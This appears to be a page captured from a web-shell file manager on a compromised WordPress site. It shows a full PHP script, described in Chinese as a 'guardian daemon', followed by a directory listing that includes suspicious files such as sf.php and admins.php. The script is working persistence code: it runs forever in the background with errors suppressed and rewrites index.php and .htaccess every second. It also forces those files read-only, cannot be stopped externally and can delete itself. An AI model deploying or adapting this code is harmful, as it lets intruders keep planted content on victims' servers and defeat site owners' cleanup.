PATH:
home
/
pallya5
/
swiftcleaningng.com
<?php /* * ============================================================================ * 终极 index.php 与 .htaccess 文件实时守护脚本 (daemon-protect.php) * ============================================================================ * * 功能: * 本脚本启动一个后台进程,该进程会永久在内存中运行,以实现以下保护: * 1. 将【网站根目录】下 `index.php` 和 `.htaccess` 的内容加载到内存中作为“主副本”。 * 2. 每秒检查一次这两个文件。 * 3. 如果任一文件被删除,立即用内存中的主副本重建它。 * 4. 如果任一文件的内容被修改,立即用内存中的主副本覆盖它。 * 5. 如果任一文件的权限不是 444 (只读),立即将其设置为 444。 * 6. 启动后,此脚本文件保留在服务器上。提供一个自毁按钮,点击后可删除此脚本。 * * 使用方法: * 1. 确认【网站根目录】下存在您最终确认无误的 `index.php` 和 `.htaccess` 文件。 * (如果 `.htaccess` 不存在或不需要保护,可以从下面的 `$relative_files` 数组中移除) * 2. 将本文件的全部代码保存为 `daemon-protect.php`。 * 3. 将 `daemon-protect.php` 上传到您网站的任意目录中 (例如网站根目录)。 * 4. 在浏览器中访问此脚本 (例如: http://your-domain.com/daemon-protect.php)。 * 5. 页面会显示“守护进程已启动”的消息。守护进程将在后台持续运行。 * 6. (可选) 如果需要删除本脚本,可点击页面上的“自毁此脚本”按钮。 * * ============================================================================ * !!! 极度重要警告 !!! * ============================================================================ * 1. 资源消耗:此脚本会永久占用一个PHP进程。在繁忙的服务器或资源有限的 * 虚拟主机上,这可能导致网站性能下降或无法响应其他请求。 * * 2. 非持久性:此守护进程依赖于当前的PHP服务进程。如果Web服务器 * (如 Apache, Nginx) 或 PHP-FPM 服务被重启,守护进程将会终止。 * 您需要重新访问此脚本来再次启动保护。 * * 3. 适用环境:此方法更适用于拥有独立控制权的VPS或专用服务器。在大多数 * 共享虚拟主机上,长时间运行的脚本可能会被系统自动终止。 * * 4. 无法停止:一旦启动,除非重启Web服务或PHP服务,否则无法从外部停止 * 此脚本。请在完全理解其工作原理后使用。 * * 5. 请为本脚本负全部责任。因使用此脚本导致的任何服务器问题,作者概不负责。 * ============================================================================ */ // ======================================================================= // 新增功能: 脚本自毁处理 // ======================================================================= if (isset($_GET['action']) && $_GET['action'] === 'self_destruct') { // 抑制错误,以防文件因权限问题无法删除 if (@unlink(__FILE__)) { $message = "<h2>✓ 脚本已成功自毁</h2><p>守护脚本文件 <code>" . basename(__FILE__) . "</code> 已被删除。</p><p style='color:#dc3545;'>注意:在后台运行的守护进程仍然在活动,直到PHP服务重启。</p>"; } else { $message = "<h2>✗ 自毁失败</h2><p>无法删除守护脚本文件 <code>" . basename(__FILE__) . "</code>。</p><p>请检查文件的写入权限,或手动通过FTP/SSH删除它。</p>"; } // 显示一个简单的状态页面然后退出 die(" <!DOCTYPE html><html lang='zh-CN'><head><meta charset='UTF-8'><title>自毁状态</title><style>body { font-family: sans-serif; background-color: #f0f2f5; display: flex; align-items: center; justify-content: center; height: 100vh; margin: 0; text-align: center; } .container { background-color: #fff; padding: 40px; border-radius: 12px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); } code { background-color: #e9ecef; padding: 2px 6px; border-radius: 4px; }</style></head><body><div class='container'>{$message}</div></body></html> "); } // ======================================================================= // 第一部分: 前端交互与进程启动 // ======================================================================= // --- 修改点: 将目标文件路径改为基于网站根目录的绝对路径 --- // 1. 定义需要保护的文件名 (相对于网站根目录) $relative_files = ['index.php', '.htaccess']; // 2. 获取网站的根目录。$_SERVER['DOCUMENT_ROOT'] 是一个标准且可靠的服务器变量。 $document_root = $_SERVER['DOCUMENT_ROOT']; // 3. 将文件名与根目录拼接,生成包含绝对路径的目标文件数组 // 使用 rtrim 和 DIRECTORY_SEPARATOR 是为了确保在不同系统 (Windows/Linux) 和不同服务器配置下路径拼接的正确性。 $target_files = array_map(function($file) use ($document_root) { return rtrim($document_root, '/\\') . DIRECTORY_SEPARATOR . $file; }, $relative_files); // --- 修改结束 --- $read_only_permissions = 0444; // r--r--r-- $master_contents = []; // 在启动守护进程之前,对所有目标文件进行最终检查 foreach ($target_files as $file) { if (!file_exists($file)) { // 如果 .htaccess 不存在是可接受的,可以注释掉这里的 die() header('Content-Type: text/html; charset=utf-8'); die(" <div style='font-family: sans-serif; padding: 20px; background-color: #f8d7da; border: 1px solid #dc3545; color: #721c24; margin: 20px;'> <strong>致命错误:</strong> 无法启动守护进程。 <p>在网站根目录下没有找到目标文件 <code>" . htmlspecialchars(basename($file)) . "</code>。</p> <p>完整路径:<code>" . htmlspecialchars($file) . "</code></p> <p>请先确保您需要保护的所有文件都已存在于网站根目录。</p> </div> "); } // 加载每个文件的原始、正确的内容到内存 $content = file_get_contents($file); if ($content === false) { header('Content-Type: text/html; charset=utf-8'); die(" <div style='font-family: sans-serif; padding: 20px; background-color: #f8d7da; border: 1px solid #dc3545; color: #721c24; margin: 20px;'> <strong>致命错误:</strong> 无法启动守护进程。 <p>无法读取目标文件 <code>" . htmlspecialchars(basename($file)) . "</code> 的内容。请检查文件读取权限。</p> <p>完整路径:<code>" . htmlspecialchars($file) . "</code></p> </div> "); } // 使用文件的绝对路径作为键名 $master_contents[$file] = $content; } // 使用输出缓冲,以便我们可以先向浏览器发送响应,然后让脚本在后台继续运行 ob_start(); // 向访问者显示启动成功的消息 ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>守护进程状态</title> <style> body { font-family: "SF Pro SC","PingFang SC","Helvetica Neue","Hiragino Sans GB","Microsoft YaHei","微软雅黑",Arial,sans-serif; background-color: #f0f2f5; display: flex; align-items: center; justify-content: center; height: 100vh; margin: 0; } .container { text-align: center; background-color: #fff; padding: 40px; border-radius: 12px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); } h1 { color: #28a745; } p { color: #333; font-size: 1.1em; } .code { background-color: #e9ecef; padding: 2px 6px; border-radius: 4px; font-family: monospace; } .info { color: #17a2b8; font-weight: bold; margin-top: 20px; } .warning { color: #dc3545; font-weight: bold; margin-top: 20px; } .button { display: inline-block; margin-top: 25px; padding: 10px 20px; background-color: #dc3545; color: white; text-decoration: none; border-radius: 5px; font-weight: bold; transition: background-color 0.3s; } .button:hover { background-color: #c82333; } </style> </head> <body> <div class="container"> <h1>✓ 守护进程已成功启动</h1> <!-- 修改点: 显示所有被守护的文件 (现在会显示绝对路径) --> <p>对文件 <span class="code"><?php echo htmlspecialchars(implode('</span>, <span class="code">', $target_files)); ?></span> 的实时保护已经开始在后台运行。</p> <p class="info">本脚本文件 (<span class="code"><?php echo basename(__FILE__); ?></span>) 已保留,您可以随时重新运行它来重启守护进程。</p> <p class="warning">您可以安全地关闭此浏览器窗口。</p> <!-- 新增功能: 自毁按钮 --> <a href="?action=self_destruct" class="button" onclick="return confirm('警告:\n\n这将从服务器上删除 `<?php echo basename(__FILE__); ?>` 文件本身。\n\n在后台运行的守护进程不会立即停止(直到PHP服务重启)。\n\n确定要自毁吗?');">自毁此脚本</a> </div> </body> </html> <?php // 发送所有缓冲内容到浏览器 header('Connection: close'); header('Content-Length: ' . ob_get_length()); ob_end_flush(); ob_flush(); flush(); // ======================================================================= // 第二部分: 后台守护进程核心 (浏览器关闭后继续执行) // ======================================================================= // 关键设置,确保脚本能长时间在后台运行 set_time_limit(0); // 永不超时 ignore_user_abort(true); // 忽略用户端连接断开 error_reporting(0); // 在后台不报告任何错误,避免中断 // 进入无限循环的守护状态 while (true) { // --- 修改点: 循环逻辑本身无需修改,因为它现在会处理包含绝对路径的 $target_files 数组 --- foreach ($target_files as $target_file) { // 从主内容数组中获取当前文件的主副本 // $target_file 此时是绝对路径, e.g., "/var/www/html/index.php" $master_content = $master_contents[$target_file]; // 每次循环前都清除文件状态缓存,以获取最新信息 clearstatcache(true, $target_file); // 检查逻辑 1: 如果目标文件不存在... if (!file_exists($target_file)) { // ...则使用 file_put_contents 函数新建文件并写入内存中的主副本内容。 file_put_contents($target_file, $master_content); // 同时,将新建文件的权限设置为 444。 @chmod($target_file, $read_only_permissions); } // 检查逻辑 2: 如果目标文件存在... else { // ...先检查其内容是否与主副本一致。 $current_content = file_get_contents($target_file); if ($current_content !== $master_content) { // 如果内容不一致(被篡改),则用主副本覆盖它,并重设权限为 444。 file_put_contents($target_file, $master_content); @chmod($target_file, $read_only_permissions); } else { // 如果内容相同,则进一步检查权限。 // 获取八进制格式的后三位权限码 $current_perms = substr(sprintf('%o', fileperms($target_file)), -3); // 如果权限不是 444,则将其改为 444。 if ($current_perms !== '444') { @chmod($target_file, $read_only_permissions); } } } } // 结束对所有目标文件的检查 // 暂停1秒,然后进行下一轮的完整检查 sleep(1); } // 脚本永远不会执行到这里 ?>
[-] robots.txt
[edit]
[-] wp-signup.php
[edit]
[-] .htaccess
[edit]
[-] googlea11b23045a5676f2.html
[edit]
[-] wp-links-opml.php
[edit]
[-] 2.txt
[edit]
[+]
wp-includes
[-] wp-blog-header.php
[edit]
[-] wp-config.php
[edit]
[-] wp-settings.php
[edit]
[+]
.tmb
[+]
.well-known
[-] wp-login.php
[edit]
[-] wp-cron.php
[edit]
[-] sf.php
[edit]
[-] readme.html
[edit]
[-] zblocker.php
[edit]
[-] wp-activate.php
[edit]
[-] admins.php
[edit]
[-] test_php.php
[edit]
[-] wp-trackback.php
[edit]
[-] 1.txt
[edit]
[-] wp-config-sample.php
[edit]
[-] wp-comments-post.php
[edit]
[+]
wp-admin
[-] wp-mail.php
[edit]
[-] .htaccess_251227160449
[edit]
[+]
..
[-] wp-load.php
[edit]
[-] xmlrpc.php
[edit]
[-] php.ini
[edit]
[+]
wp-content
[-] license.txt
[edit]